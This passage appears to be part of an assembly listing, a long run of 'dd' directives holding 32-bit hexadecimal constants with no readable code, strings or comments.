0B65128CDh dd 1E3925FDh, 0EBAEA6Bh, 663A245Dh, 8D0588BFh, 88FDE341h dd 49167DD6h, 266E7DFAh, 0E376A458h, 0EB0B32FAh, 0F1F9FDCBh dd 0D5293E5Eh, 3A25C849h, 0B514ABE4h, 2D3D2D5Bh, 0FD90022h dd 0C4233F84h, 0B84C64DDh, 0A38C5B8h, 3B048CB9h, 0BF3D2979h dd 731C5D04h, 68C749EDh, 10E66B10h, 2576E43Ah, 4B27F13Ah dd 0C15E8520h, 809D07E6h, 5A62928h, 14B48E9h, 0E2D96A99h dd 0B960175Ch, 4B9192B3h, 21093552h, 8E313D30h, 1C7E05CDh dd 0FA285C27h, 8D4E914Eh, 14AB6212h, 191D1032h, 0D1568051h dd 66CF81E7h, 3B22205h, 0E594DBE9h, 181AF6ABh, 8884334Bh dd 3438AEEBh, 0AFE135E9h, 104ADDE2h, 7D00A737h, 687A41E7h dd 0E686224Eh, 8D4397DEh, 0F0E794F4h, 9E05F2BCh, 1F9511Bh dd 0BA689DC0h, 0E86CBF1Ch, 51289401h, 0DA2AE940h, 4806313Eh dd 0B3CF6FE2h, 0D2D0A42Dh, 93D95BBDh, 3752BB21h, 186275DAh dd 4F4C5854h, 538D0500h, 0E8016994h, 5D07A12Dh, 0BB009B76h dd 7A52468Ch, 489C1DE9h, 60C85D13h, 6B720C4Ah, 0E9104C29h dd 16845Ah, 0AD86ECBDh, 4A09C732h, 226DD6Eh, 5A360C6h dd 0B801EA09h, 3D4B1DF1h, 6859027Fh, 6CF733D0h, 6AFDB0BFh dd 0D11A14F5h, 27026E53h, 0F701875Ch, 1D0DEDA2h, 0EC562599h dd 112F553Fh, 9892946Dh, 0A922468h, 94A58811h, 1140B901h dd 9BE82B7Ah, 5C64B5E4h, 6094769Dh, 7FE95FFEh, 5B0B46B4h dd 0DEDFC09h, 0E5537A0Ah, 4CC70490h, 421975E1h, 0E2F0876Bh dd 48440ECFh, 23D2109h, 0A9258F6Ch, 0FCCFAB85h, 0D86850D0h dd 7D31465Ah, 1A649DC9h, 5D57EEF2h, 81079E5Ch, 0C026B4F7h dd 0FD8955D4h, 2C6BDAFFh, 68C180F8h, 0BA70F1E6h, 3D37CA5Fh dd 28D9C2E1h, 0C04EF22Eh, 40685052h, 8589B29h, 571204C8h dd 3900C317h, 6EEBBB5Eh, 2F135CE2h, 0B602544Bh, 0E90E424Bh dd 9875F8E5h, 307AAFE9h, 492601CDh, 2D4FDF54h, 891661ACh dd 4961D8D6h, 0B0584A40h, 719D8122h, 60FED652h, 0CC77D461h dd 0D0D4CA0Fh, 954778BDh, 304E7D80h, 7E2CE9DAh, 24441425h dd 875C794Bh, 9256D32Dh, 7774215Ch, 0FDA0674h, 10F768C2h dd 53C8E57Dh, 0FF051C8h, 0D32DA194h, 8B61A64Eh, 0EAE98CB0h dd 30026E51h, 55993902h, 782DB78h, 5916F67Ch, 4486BE01h dd 0C82799Ah, 53205092h, 85928FDh, 14812928h, 2A5DF129h dd 658C80A0h, 45372B5h, 303DB2E3h, 1F35B151h, 8959CE88h dd 2FD167D4h, 24398489h, 5D82DF83h, 0E6F7097Ch, 0AD5497F0h dd 18C0E549h, 0F415854h, 230755B3h, 56120715h, 6B8D69FFh dd 0AD5ADA3Ch, 10A79034h, 88138E82h, 9C57B2F8h, 4FAC313h dd 44B5DEFBh, 0C4142A57h, 6D59E42Dh, 90CB88C3h, 4A30E9DEh dd 0AB0B4A7h, 0E815B028h, 170DD101h, 4BDF8729h, 34706A6h dd 6AE70583h, 3DFEC7B0h, 314A9F13h, 0BC0B9FE0h, 945D27DBh dd 0D1569546h, 16A9882h, 13875072h, 2113836h, 432E2913h dd 2208C161h, 0FCF30232h, 78E19D38h, 1D529F79h, 0BF8D5720h dd 44E04820h, 0DC954018h, 0F3F10118h, 60384F6Dh, 7AF302ACh dd 7C684981h, 805AC0D4h, 0F7808756h, 5C0BD8D0h, 7FCEBA7Fh dd 4CE1AFC2h, 0D164083h, 10E107Ah, 65080575h, 55AB92CEh dd 40EC6661h, 512BB8BCh, 2F4A073Dh, 7D686244h, 0C2228CD0h dd 80EB07DEh, 0B269DAFCh, 3DD62311h, 86167760h, 2ADAB729h dd 0C05FC281h, 0D772E90Bh, 271A4CBFh, 742006DDh, 4C5901B1h dd 0FE53BB04h, 0C9AAB3A6h, 744F30ABh, 37DC804Ah, 3B9B9753h dd 58C8D039h, 83E90857h, 5CB80170h, 0E863A51Bh, 0EB883697h dd 2F6B0E02h, 46DA013Bh, 7CC00829h, 5880DCD2h, 7EF3CC1h dd 0EF09F39Fh, 0BA05C7EEh, 649E3490h, 0FF8443FDh, 42D244E6h dd 0FC4C88BFh, 6185BB17h, 0A54814EFh, 0BA02064Dh, 77E71237h dd 47029774h, 0E821D630h, 0FABECA64h, 0E9171337h, 0EA6CF43Eh dd 0AE097C16h, 1DA072C0h, 60E48DFh, 0C67140Ah, 31B009EEh dd 3A61B420h, 5A6A6FBEh, 490CD72Eh, 4DE96022h, 331509A9h dd 8509CE3Ch, 78660102h, 3B6CEDF5h, 1C687ACCh, 0B0830A95h dd 762D9F55h, 25E9233Ah, 0B79294CFh, 199735C4h, 616BDFD6h dd 56942E2h, 298461BCh, 27A2BF54h, 20B168C2h, 0C6824AABh dd 6243B546h, 708CBEF5h, 1C51F381h, 8128126Bh, 0C326E9ACh dd 68C2760Bh, 7B5ACA69h, 5FDEA7EAh, 8A96057Bh, 0A829AA52h dd 0E9307F51h, 18CB1801h, 355E3B61h, 3AEF4826h, 0EB07C583h dd 2C010959h, 3EDEC981h, 3E30444Bh, 483B17A1h, 1505BF15h dd 0C4A1E0E9h, 19851F6h, 0C1455EF5h, 82F8B9EDh, 58D3BD4h dd 0F54E5501h, 0DE0FE535h, 0A7FFE2A1h, 1054ECCh, 987680C5h dd 0CCDEF796h, 0D7F6E8D1h, 0DF4A1690h, 9F242187h, 451BF09h dd 6613CF1Fh, 0A3EF4EC4h dd 0B94A7C75h, 0A01249F3h, 6D94D05Dh, 5F2F46ECh, 82170289h dd 0A25D0B58h, 578D7EDAh, 2CC9141Bh, 0A3010498h, 472666C8h dd 0A7789EEDh, 6780BB03h, 0D44B786Fh, 0D6D6E4A5h, 0E9D4AFD1h dd 6C05F19Eh, 8BBF4ACFh, 7957B72h, 0C6F0AD19h, 0C0944B53h dd 0AA040173h, 0E91A4854h, 608B3539h, 634DA2EAh, 0A8D18CDCh dd 0B0EFE103h, 0D9677353h, 8627F9Ah, 9118550h, 31B8E0A8h dd 0CD297581h, 0F2422B59h, 53C69CE9h, 0C49A4B1h, 8084F03h dd 4FCAFA9Dh, 529AC2B4h, 656D4A57h, 0F1BB80A4h, 9175610h dd 719FD8B8h, 0E4EB07AAh, 0D631B042h, 6D6194E9h, 1A79C577h dd 242029E5h, 5ADBEC08h, 0BA2B3113h, 3032DC6Eh, 3714E926h dd 2CAF5D93h, 0DD4FBF59h, 567B68A5h, 103EA884h, 5E1FE46Fh dd 8D74AF01h, 0BFDCE950h, 805A3084h, 3C97C2B4h, 4209852Ch dd 7EA5C126h, 56C75423h, 0EC8232B8h, 3F87FD65h, 5A04E06h dd 6641B5E4h, 0F14B4DB8h, 27A29BE8h, 7F5C56C9h, 403752CCh dd 0FE002DDBh, 519E751h, 4ED3DD89h, 400FF148h, 40093309h dd 70040B48h, 3FEA411Fh, 69E913FBh, 0C5E92385h, 125E709h dd 9CACFDDh, 6181FD5Ch, 6070E913h, 0F780F0ADh, 0D2506D8h dd 0E622B36h, 7B174FA1h, 68AE9812h, 477CE9F3h, 0E2022AB1h dd 0D36917h, 243E59B5h, 10D5AF81h, 0BBE23C8Eh, 1828C806h dd 411ED316h, 94D86604h, 6C9C10Eh, 0E27DAE07h, 62F71C11h dd 521C5CDFh, 55CF9A5Dh, 0F80B2D62h, 65E2B8DCh, 224677E8h dd 7C158D2Dh, 0FB1A6398h, 2A51203Fh, 31398659h, 8D034C2h dd 435486h, 0F25960BEh, 7BF68176h, 2C746517h, 0A0908B8h dd 0AA003C2Bh, 1C78306h, 33F78100h, 315A7690h, 4C47B8FEh dd 0A8E5F7F5h, 0B841D7FEh, 31636856h, 5939316Ah, 0FB312E6Bh dd 616E51A4h, 44577DDh, 0A17ED0BAh, 0D619FAE1h, 0A5FCE801h dd 0DB213BE7h, 0E1360FCh, 0F580D5F6h, 0EE28AB0Eh, 58E6C359h dd 0F3039BC0h, 4ACEF1D6h, 7BAC6ECh, 0B35AF088h, 2BC3B368h dd 33E5C184h, 40580241h, 0B711D008h, 44AAE2F3h, 5A567695h dd 5EADFA59h, 0F1FB4453h, 9FE22E29h, 31E954C1h, 38BC39BBh dd 7994937Bh, 0E32316FEh, 81CC5A9Bh, 0BBD91FFh, 0DDE7088Ch dd 51A5C323h, 0A20B6287h, 58565000h, 95C6B05Eh, 7EB828C1h dd 811CE9CAh, 0FC6D05CEh, 0BB85855Eh, 2AEE5C00h, 2641165Fh dd 87975DE9h, 1B448468h, 32AC3E82h, 0A25DEDB2h, 426D59Ah dd 7DB0815Bh, 2061F138h, 4A3CA7AAh, 9FE9893Eh, 0C91C7FC5h dd 5CAE5758h, 17D35844h, 71303B83h, 9349CA68h, 84791630h dd 49EAE77h, 0AC698B12h, 0FF889672h, 10272516h, 0C07D8578h dd 0F7736109h, 55922BD7h, 0C4A4C5A0h, 4297FDCDh, 83E75DF6h dd 2DC8408h, 0CA44E3BFh, 0D008057h, 0C345851Dh, 0B56E93Ah dd 87C59D03h, 0B33F970h, 5AE1681Ah, 0F68F554h, 0EAA92916h dd 495D8004h, 0F0A08571h, 0B73E53B9h, 54CF1FA1h, 0FA3D82E7h dd 8F250016h, 7F1CC16Ch, 2E894D35h, 604777Eh, 40D8C356h dd 0FBCD0683h, 81FE1B84h, 2A174C38h, 533BF0CCh, 0B902CC69h dd 7AD33C51h, 438824F1h, 0FCBB1F56h, 81219880h, 9F2DD5F3h dd 0EBC16217h, 3AA9B90Eh, 9965526h, 56F4992Dh, 0BDD9E66h dd 0DAE636D3h, 8D3F392Bh, 47616003h, 3D7C218h, 135064F7h dd 5602B259h, 80E95823h, 0B034CB0Eh, 780952ADh, 24F97D30h dd 0BE503A23h, 7EF7DF98h, 664F7468h, 951B3531h, 0F1D95DC2h dd 68BA90A7h, 305D4F38h, 178F421h, 5CC4058h, 71A8702Dh dd 89C881AEh, 36A27E5Dh, 6AE14CDFh, 0BE01590Ah, 33F65D6h dd 9CE3CE31h, 7D913F8h, 4B69295Eh, 807209BAh, 0C9FEE203h dd 375978D1h, 2FEF10B4h, 0B6D02916h, 5F800D3h, 448D3D16h dd 64E92D5Fh, 0EE92E9D6h, 0F46CC9F5h, 25002A2Dh, 5B66D988h dd 18272CBh, 0D004598Dh, 0D32DB16Bh, 90C1AC93h, 0C079DD5Bh dd 0BB4AE9D8h, 8BEE7EC4h, 8BC63C8Ah, 0FE4E2E65h, 9708A081h dd 4F9279E5h, 0EAD13F81h, 973E2970h, 16C90C4Eh, 75145742h dd 19C6BA09h, 0C2F10067h, 4C5645A5h, 62044C25h, 0AA5D7E43h dd 1BD6FDD8h, 2230DA19h, 64A56790h, 80F07A95h, 25555908h dd 8C58EDE9h, 0C8F25E5Eh, 0B06851C1h, 30357E3Fh, 0DDF37E82h dd 0E2074A22h, 66882548h, 0B828552Ch, 62C6EE03h, 0CAC0DCB5h dd 482E7F5Ah, 42DEC27h, 46B52AE6h, 4E4C9763h, 67474C13h dd 611BE40h, 0C2423B27h, 0BFBEC8C0h, 640275F6h, 4112FF34h dd 0F052CCEh, 0DE09D3C0h, 5997A0D8h, 4009EB6Ah, 0E07FCF2Dh dd 28F10ED2h, 0EF338C43h, 283BB629h, 6333A138h, 0EE36C42Fh dd 50104FF6h, 98B2D6B8h, 0E1AEAD4Bh, 0B53E525Ch, 83E1511h dd 5300D5E9h, 577C9BBh, 1FBB907Ah, 0E782A907h, 0D54AF874h dd 0CD430B02h, 81C27844h, 3A8059F5h, 15F1BA82h, 0E975DA29h dd 190CF5Eh, 7B1F1DC8h, 9C0630F0h, 78AC349h, 0CAB539F6h dd 0E90801F0h, 2068B7BAh, 0A42592C1h, 0BDFD2F35h, 687A305Bh dd 18A842CEh, 0E74A51E9h, 1630ECA4h, 0FE66EA78h, 0CA29360Bh dd 0F7714145h, 0AABD2680h, 813CA834h, 2E86E509h, 0CD8D805Ah dd 4E6067DAh, 30FFF12Dh, 2F183529h, 0C2C0FF85h, 34D00B78h dd 504EB01h, 705010Ah, 7970FF38h, 72D50D8h, 0F66132E9h dd 0F7C1C5FDh, 0F5B120C3h, 8563273Ah, 3D49E914h, 7AD4BDB8h dd 58EC8C10h, 37F01748h, 0A00541B4h, 3B31BE9Ah, 0A7FA418h dd 67D96652h, 644925CCh, 16D76B7Dh, 4C4EDB61h, 41D11670h dd 0B5B13F15h, 0B27C833h, 0FA66FB05h, 29680A38h, 83B53891h dd 56555351h, 501916E0h, 0CFE96C09h, 0E1C0D990h, 2A3EE268h dd 0EE611771h, 98DF67Bh, 0C02D840Fh, 4E9768E4h, 2E563029h dd 1E4DF1Dh, 92FCDE4Fh, 8B9580B4h, 30F3DF73h, 2712A90Fh dd 50AB0848h, 1C680886h, 68530514h, 0D404F83Fh, 7287011Eh dd 46E95430h, 0EECC566Ah, 5FD8DF00h, 50D6291h, 6233630h dd 0E680FE48h, 58FB8435h, 4F7DF5BFh, 2FEDCCD9h, 0E3D2F65Bh dd 0DFC8FD42h, 0C180D420h, 0B4074AEAh, 5418216Ah, 0BB0C3EF2h dd 98C0719Fh, 0D9E92DFCh, 49BD9860h, 68C0705h, 36B8BE56h dd 5F50F48Fh, 7716C6EDh, 3F3E89F1h, 3BADEABCh, 409E2F9Ch dd 0C8B0D10Fh, 3A14CB06h, 0A1555B91h, 0D926B9ECh, 0A5EDA05h dd 5793B00Bh, 0AD6FD3BDh, 4B6FBDE0h, 54135225h, 1C8B0B75h dd 62193E55h, 0DACED587h, 0DF27FC28h, 0ACF24D93h, 0F395CF78h dd 0FB0162E4h, 74F4E2C1h, 0CF1384C5h, 0A4A95ABCh, 0FE98B312h dd 0DDCAF371h, 52017773h, 0D18894B2h, 90F1605Ah, 0C0A0EBE6h dd 0DC8381E2h, 0DD4FC1ABh, 0DA759219h, 3A1E2B02h, 1D6580Ah dd 9ABD554Bh, 4023EA69h, 581F0FC5h, 76C6AD4Eh, 510BE91h dd 0F9177578h, 69D28961h, 0F7DAFDABh, 77EA0920h, 6B001F48h dd 53FA0159h, 80DE93E9h, 1C12C325h, 421510A9h, 0C6BC5EE7h dd 7629C6Eh, 9C8061B6h, 0FA9D1651h, 0C196429Dh, 6800EE97h dd 0C7287632h, 0D3739851h, 0D98E1B95h, 6F64EBE9h, 0D83025ACh dd 0B1125894h, 1B16C08Dh, 0E149C41Dh, 62E6F102h, 32C030CBh dd 6F3A6866h, 8041651Dh, 8B01F50Fh, 0A8965559h, 12FA0920h dd 0B405C829h, 250759DEh, 3DF04F85h, 862114B0h, 0E02D045Dh dd 0EA4D2635h, 9D600C87h, 40327CDh, 14E9C709h, 0B8DA886Eh dd 7F0CB369h, 5EE9A83Bh, 0C0257FD3h, 4B82C801h, 0D02B7F1Ah dd 0D516430Ah, 0ED086D50h dd 20747212h, 0BC58B9FDh, 6D6C0A41h, 0BF5A0831h, 4B6E480Eh dd 3C350650h, 142C6816h, 0AE6A7E61h, 4898BF00h, 4F5CF812h dd 0A14587EAh, 8C3BA033h, 0C718E910h, 0FFC32D80h, 0B40F185Dh dd 0E32025D0h, 74CBCB41h, 0C678285Fh, 715C8073h, 0B7EA200Ah dd 0E131FFC8h, 54E4C082h, 60F59438h, 427E63E3h, 0F857E2BFh dd 10C8A032h, 0C772E74h, 0DE939B0h, 3FB5B84h, 4F49D1F7h dd 277AA310h, 0F826DF52h, 6C95181Bh, 120DD2EBh, 0DAC7BCA4h dd 0A194C40Dh, 0D368E789h, 0B2B512h, 0D50895E7h, 8898C05Ah dd 7EE6814h, 98B0CABDh, 0C50D2C2Ch, 0FEFC2458h, 138075CDh dd 0FAEB2893h, 9EBF3E64h, 0C3280270h, 0A32EB450h, 8DEDE9BCh dd 5F80DC5Eh, 91BE7D9Bh, 0B2423FD9h, 89F56E95h, 0A782D326h dd 12090EF0h, 0D0933E15h, 0D6215C86h, 5EBF2310h, 613F06E3h dd 0D0CB0B6Eh, 431619FFh, 88CE077Fh, 0EEFA24C7h, 71BDEF64h dd 2C8A8BDEh, 3C4185F8h, 0BDCAA46Bh, 0F38159C0h, 4CAC42BEh dd 0D905233Ah, 0C52BEFE2h, 29A5543Bh, 0D3C03125h, 801CD7F6h dd 0C7C2ADCFh, 40F828CDh, 1CB551F8h, 0E5004DEh, 0E1922CE8h dd 48A77BC4h, 0B5F9DC40h, 1255AF0h, 34C9D289h, 0EE0DB156h dd 27682128h, 9F591073h, 0B93275A5h, 0F2891710h, 0E958EEB4h dd 8ADB55FCh, 0C268D541h, 0B1C6FE38h, 0D412A160h, 3CB033E9h dd 1DB39850h, 644A6920h, 6E1C00FAh, 0C2812C96h, 2AB2C0E3h dd 0E9944095h, 89D64A11h, 0F3AEE0C0h, 72ECAB95h, 0B589F65Eh dd 288BB42Ah, 0E61C346Dh, 0A35CC18Bh, 0D5F7019Eh, 0CE32C36Fh dd 0E141F1A2h, 0E25181DDh, 0BD948D1h, 0F931F60h, 21E64A82h dd 0E75CE962h, 0BA7E6CAEh, 888CEA6h, 5A2F94AFh, 0FCD820A0h dd 24367EA0h, 0F67F8A2Fh, 8EF14EEh, 5A875A24h, 73ECD779h dd 0D3CFF4E9h, 87455058h, 12D6C184h, 3E0FE602h, 2E2DF42h dd 0B2740709h, 16AE46C4h, 20B2B561h, 6897D800h, 0C0FD65B0h dd 6F0EF2BBh, 6EB20FE4h, 6A90F773h, 0D915F00Bh, 9B84DDEEh dd 4D45E0FCh, 0A90BDAB0h, 4303FD4Eh, 5EF7980Dh, 0ED7C4E01h dd 685FC16Fh, 8D332AEFh, 1D9C0750h, 0AF0D3F44h, 0D5BD185h dd 7C1B983Ah, 5AB407Fh, 54796704h, 810F701h, 48209248h dd 20730B6h, 66B2175Dh, 0ED41687Fh, 0C5AEC101h, 2E7DEE3Ah dd 4A7B91B8h, 0E5B5D9DDh, 0F58101A4h, 0A3FE81E3h, 0C6822DBCh dd 6679088Ah, 0A2D383F7h, 0F3AE8469h, 0F5D8D7EBh, 0F4E55EA2h dd 0E040A6DEh, 60C10581h, 0EB09B861h, 80FDB94h, 19E16150h dd 0D16F492Ch, 6B68BBABh, 9DE09831h, 70E66B81h, 0D8325813h dd 25183FCEh, 3C0C639Fh, 8283E23h, 1A04F602h, 0E5764F90h dd 1669DE25h, 0BE25C45Fh, 0A925DB8Bh, 855C2705h, 64AFF19Bh dd 0BAEE9196h, 26CA104Dh, 6027ADF3h, 18F6B9ACh, 0C24CD143h dd 74F83546h, 11F20D04h, 0C8C26DADh, 0E59690A3h, 41B42F30h dd 569787FAh, 59E5A0D0h, 0FC85FF60h, 0C1B9AC08h, 0FB519F0h dd 253BF33Fh, 0A074527Ch, 0C5B87EDFh, 12C1E16Bh, 0FAC604DEh dd 7C9DEF96h, 10258E7Fh, 0DE6461B3h, 617A4C6h, 0FEF78101h dd 523D4334h, 0EC3F9CFDh, 6265C9FBh, 0FC6AAB7Eh, 0D274FA70h dd 353925A4h, 9EEB08FDh, 0D1E94A38h, 0B4521D48h, 731ED193h dd 0D8C004CDh, 138003E1h, 0B51CEC9h, 60D10F8Ah, 696770A7h dd 49C0315Bh, 45006CC3h, 565A5965h, 136850h, 587DDA1Dh dd 113AD425h, 14357200h, 0E9701018h, 0CAA5BF3Dh, 2163E5C5h dd 2FDE35B3h, 7CEF7F12h, 3927E9F3h, 0BF522Ch, 2D718801h dd 58992E8Ch, 624A0504h, 0C4BB11DDh, 0FEBDC292h, 4E34655h dd 0EE3D8FBDh, 2DECB04Bh, 18617B2Dh, 0B336878h, 5A495D12h dd 60D796C2h, 48427F0Ah, 24203241h, 576C2C27h, 7CB35280h dd 0D8E05404h, 0F7F392B7h, 105D4100h, 0F54D89DDh, 6E0093B9h dd 232D6B51h, 0C5540268h, 15B3222h, 28D03104h, 484C66F3h dd 979CEF7h, 47543B2Eh, 792F1174h, 33AB607Fh, 78B80A6Bh dd 8DBFE915h, 36FD0095h, 0B9517E95h, 340612A3h, 0F72FB003h dd 0E883D00Ch, 1FA2E601h, 0A4825ECFh, 2A924FFh, 2AD2B3Dh dd 9B92E0D7h, 0B1B9B723h, 3B6A2168h, 7CACD98h, 81664C30h dd 0D16F90CFh, 2725E91Ch, 5B96870h, 0C1794C76h, 7336BD5Eh dd 0FA9D880Bh, 95D7AA1Ah, 4CCB3042h, 0F9BDA246h, 0A4B6160Dh dd 0F0BFCDB0h, 4B9518FBh, 56E65CF2h, 0E635EE95h, 0C45776D0h dd 0AA67EFCEh, 69824069h, 44166858h, 6E90F1C6h, 0E2404E07h dd 5D775564h, 0F0825935h, 0F7FC9063h, 350213DAh, 1087AC5Eh dd 548109Dh, 9DC84117h, 1024202Bh, 0C760E39Eh, 0A908124Ch dd 0E16B50F6h, 0F60532h, 0BD55D712h, 4A732D64h, 0E82F6590h dd 86A0822Bh, 972075DBh, 158B116Bh, 63E0BB7h, 95F5807Eh dd 0C5015476h, 173B30E2h, 5B6EC090h, 70C23C67h, 0AB6C77DDh dd 1A311DF4h, 26CBA01h, 79C6737Ch, 49981A14h, 727F5C9Dh dd 101D667Dh, 4E03DFE9h, 0B46B9FB1h, 22F8CE08h, 706FD4Ch dd 1ED12D25h, 5A636FB3h, 0B876252Ch, 6D7A0058h, 0E58122EDh dd 7E5C16FEh, 0C0D10074h, 0E903015Ah, 5EC4A424h, 381E7269h dd 0EB4099F4h, 5D9359B6h, 0A0F666F8h, 0ED31B264h, 3550F2BDh dd 21688047h, 0D1617C5Eh, 8000D9A1h, 0D8B593C3h, 0A2924F2Fh dd 2DEBD2FFh, 5A0802A2h, 27618A80h, 36C73620h, 0F7F94507h dd 0AB3D5B05h, 94AD873Ch, 127C2692h, 183F90CAh, 404EFCE3h dd 0E9B742AAh, 0CFC8CDE4h, 553049ACh, 0CCA36617h, 84F84F93h dd 0AF9300F1h, 0E9683650h, 5EDD164Dh, 0BFF4F6BCh, 6817740Ah dd 2E36BA82h, 0D163C118h, 59CECD41h, 0E9F62Ah, 0DA4858C6h dd 54B2E95Eh, 4E99AC4Dh, 0A99377Dh, 0E6EE0018h, 2963D178h dd 840A0EDh, 62F6E94Ch, 90110241h, 27300D44h, 0E34050F1h dd 2801733Fh, 43685751h, 0D4478A3Ch, 9E6AB5AEh, 60A15CD2h dd 0BC96C66Bh, 5444A03h, 0D72D4072h, 319A7591h, 77E2C875h dd 0EE95F809h, 0F634E905h, 6467121h, 0CB704FC1h, 0EB6F18A0h dd 0E3ACDE38h, 21DC5809h, 97BD65F1h, 0A013EB57h, 0AB32AAAh dd 901AD9E9h, 0E11C7F8Ch, 1A2BA6Ah, 6C61BCBAh, 42D70975h dd 0B05718C6h, 9FB6D62Eh, 0E1F6EE4Eh, 0C341664Bh, 0D69D9FA2h dd 17621C21h, 0FBDCE909h, 0F681ECD7h, 0F44E5AC0h, 1E757B0h dd 0A61CEB18h, 28B7515Bh, 6EC49B52h, 34AD857h, 89B3D85Eh dd 4A9F7E10h, 0C6C8F404h, 0E39A1216h, 0DFBB3A3Bh, 11627E3h dd 4F3D638h, 8DD2D6C1h, 0AAFCD498h, 0F61EC18Bh, 20EC30DDh dd 0FB995ED7h, 0E4DC8509h, 83CE902Ch, 4058B273h, 0E5EC3ADh dd 29558D18h, 846A0BD3h, 0FA34AB84h, 0EF4FD605h, 0CB5DEE09h dd 675EB023h, 0D0AC9DBh, 0E588F6E0h, 5A5A999Dh, 0B221E8E5h dd 43FECCF5h, 66C1C91Eh, 62021352h, 28E65C6Ch, 258833BBh dd 0C7B5EB4Dh, 40468469h, 116202EAh, 9DC5B826h, 4FCCFA0Ch dd 0DE14A726h, 90A2D02Dh, 6C5C131Eh, 0F12407EDh, 26A2E36Fh dd 747390E7h, 0D49F310Dh, 4B0820D1h, 5A99F359h, 0E94D63FEh dd 87011C30h, 48FD102Fh, 47203825h, 0A8354276h, 8EAB220Ch dd 0C7FB108Fh, 8A5B5412h, 6F4C5131h, 56592205h, 95972C87h dd 5765AB49h, 0CBA0D530h, 75DAE696h, 0E7758142h, 58322C75h dd 3B21E954h, 0EB18BC65h, 3FF257D5h, 0BED68C1Fh, 1A4C4CBDh dd 0F5C8CCD2h, 0C08D23C3h, 26237549h, 0F5846AE7h, 0E84BCB8Ah dd 0E8B32FBCh, 9A58E9B1h dd 0BB89B54Ch, 0F7D90909h, 5467B582h, 10E1574Eh, 0C02A8BBCh dd 0CCA403EDh, 843B4E24h, 9D887AEh, 742E718Ch, 0EF1F1E61h dd 9E3A2C8Bh, 20CC48A8h, 0F3E9134Ch, 43CFD88h, 5534940Bh dd 5DA2DDB8h, 2AEA2BC0h, 315041C4h, 5E2F9BFFh, 2070DE2Dh dd 48D17288h, 6D24CECFh, 0C0CE9E78h, 68595AF3h, 9BC97D69h dd 0F557A932h, 0E961D065h, 0FD2BC6C7h, 4DFB9301h, 205788CDh dd 0D22DA6EBh, 9FB58A2h, 23103F5Fh, 8B028F5h, 0D9DCC027h dd 98D3F0Ah, 207DAA6h, 14DC4282h, 27CD761h, 3DEFE066h dd 909C97E2h, 11D7A9Fh, 6E101280h, 2E6B9CE9h, 98009674h dd 6C943F59h, 0EC272BE9h, 7C45259Dh, 549D6889h, 1BE961B8h dd 7A1467E6h, 0D885BC62h, 0FB65FD5Bh, 77014813h, 0FCF4078h dd 6018E040h, 0E972122Fh, 0F398B44Dh, 32D0BC02h, 77DD21ADh dd 0AEB0FC85h, 5CBCC6E1h, 39F0E516h, 1B983AB7h, 557A6092h dd 7763B5F2h, 55052F5Fh, 0DB81C229h, 81041CE4h, 830C6002h dd 64D8EF2Fh, 96B4976Fh, 0B15D91E0h, 0DB7D1960h, 6F8F2E5Ch dd 0B1DF997Ch, 3E95CC0Ch, 97EF3438h, 8AF60E3Ah, 12FFE78Eh dd 5B999BEFh, 16F61996h, 0B0AE1A2Ch, 4F131944h, 8AE84EF4h dd 6FCC6318h, 477BC8F5h, 0B5A8224Bh, 0CC8E2612h, 5D0EDA46h dd 334311C4h, 0E481ECE8h, 7B138664h, 246CFBE0h, 10481F97h dd 31AD0B93h, 3DABF7D8h, 0E9580274h, 300FB5A9h, 23EE738Eh dd 5A67B9F3h, 0ED2E4FC0h, 0C5250F74h, 4080D045h, 21EB705h dd 7FF848F6h, 38127D05h, 0AFE0CEE9h, 5E512D68h, 5C41B2F3h dd 66F10CDh, 89E28DDFh, 0FCC4EF2Dh, 0B04C5BB3h, 50A9B243h dd 1ABE044Ah, 8721B714h, 3A856BE6h, 3B9CA160h, 70BA52F0h dd 62F6972Ch, 6CFC95CDh, 0CE3ABD78h, 6456A82h, 0B860927Ch dd 9F66E515h, 0CD176D74h, 905B2CF0h, 282A49F9h, 0F6CB8602h dd 0B5630D1h, 0A4880833h, 8DC8A2BAh, 0CAC04680h, 0DAF61C59h dd 0D334BA86h, 0B147A808h, 2C86088Bh, 1A7944E9h, 0D47C5F62h dd 24E5A0Dh, 48DA8EC6h, 10DF29EEh, 6E4AE941h, 0DFCAAFEBh dd 65E97B9h, 0F0560712h, 14CDE75h, 68859EA2h, 0CD454FA8h dd 67B341C5h, 5A43BC10h, 5217B4FCh, 0B6D110B2h, 4F3F7A10h dd 6E0077A8h, 0BB717C74h, 9E01DF76h, 0E9FB2998h, 822DEDB3h dd 4ECE9601h, 3FFD31CBh, 92452329h, 2BA98D01h, 29301F46h dd 5534E7E8h, 28082769h, 5D86057Fh, 0C2310FEh, 1746582Fh dd 4D541AC2h, 899FC014h, 60FF822Ah, 50E1184Bh, 4B7F87DFh dd 0C4AAB34Eh, 80038DD9h, 0C62294C3h, 13C602F1h, 29FC6CF7h dd 90214E5Dh, 0EEE54B8Fh, 20F3B620h, 56390061h, 0C547BCBEh dd 0E8B5014Bh, 0B6446833h, 0CBF4279Fh, 0BF9A4152h, 44713C06h dd 0AD3B6C3Dh, 68E90109h, 5F2C1406h, 29E8A4D2h, 508CEC9h dd 0AAB7711Eh, 0C3312F7Bh, 7A526A5Ch, 1008272Dh, 0F42DDDE6h dd 0E936F976h, 809A167Fh, 7E0619B2h, 61D0B825h, 5E90D15h dd 2EA32EE3h, 378F6716h, 52B02794h, 4C611A71h, 954FAC0Eh dd 45F5300Fh, 0B9B2065Ah, 6DCD3332h, 0BA583FC8h, 565E2902h dd 77C23126h, 3CE5F2D9h, 0C03197D2h, 80C7893Fh, 0A9B9A0A5h dd 6F39B907h, 0CBB856A0h, 0A9162790h, 2DA08856h, 4D7AE81h dd 0B868C4EFh, 0FAE9B017h, 0FEE3CB19h, 89AD6A88h, 0BA00D1F7h dd 7F21696Eh, 0D64C0690h, 0AC250769h, 0DDBB9104h, 0F1275184h dd 0EEA33E20h, 0B0FEE9C4h, 82BD211Ch, 1E85C47h, 0E301C780h dd 0A20A65E2h, 75ABEA27h, 16DDD0C2h, 0EEE59F24h, 1A85DF2Dh dd 0D65FD0h, 1ABA52FDh, 364CDD0Ch, 814A0BECh, 41EB04E2h dd 76134C7h, 657515E9h, 17FF62A5h, 0BD282AD2h, 68E2B4F1h dd 890CE99Bh, 78D9D7Ah, 0A2F1BBAFh, 7EEBF581h, 0F0A4B9E5h dd 0F72C90Fh, 0D74CCE2Bh, 9950C08h, 300D2F7h, 74E12B6Ah dd 0D612F89Dh, 0A83000EAh, 2198B7EDh, 2D21CE95h, 0E6763215h dd 80F6F4D8h, 1F63B568h, 272A59D3h, 51400FC1h, 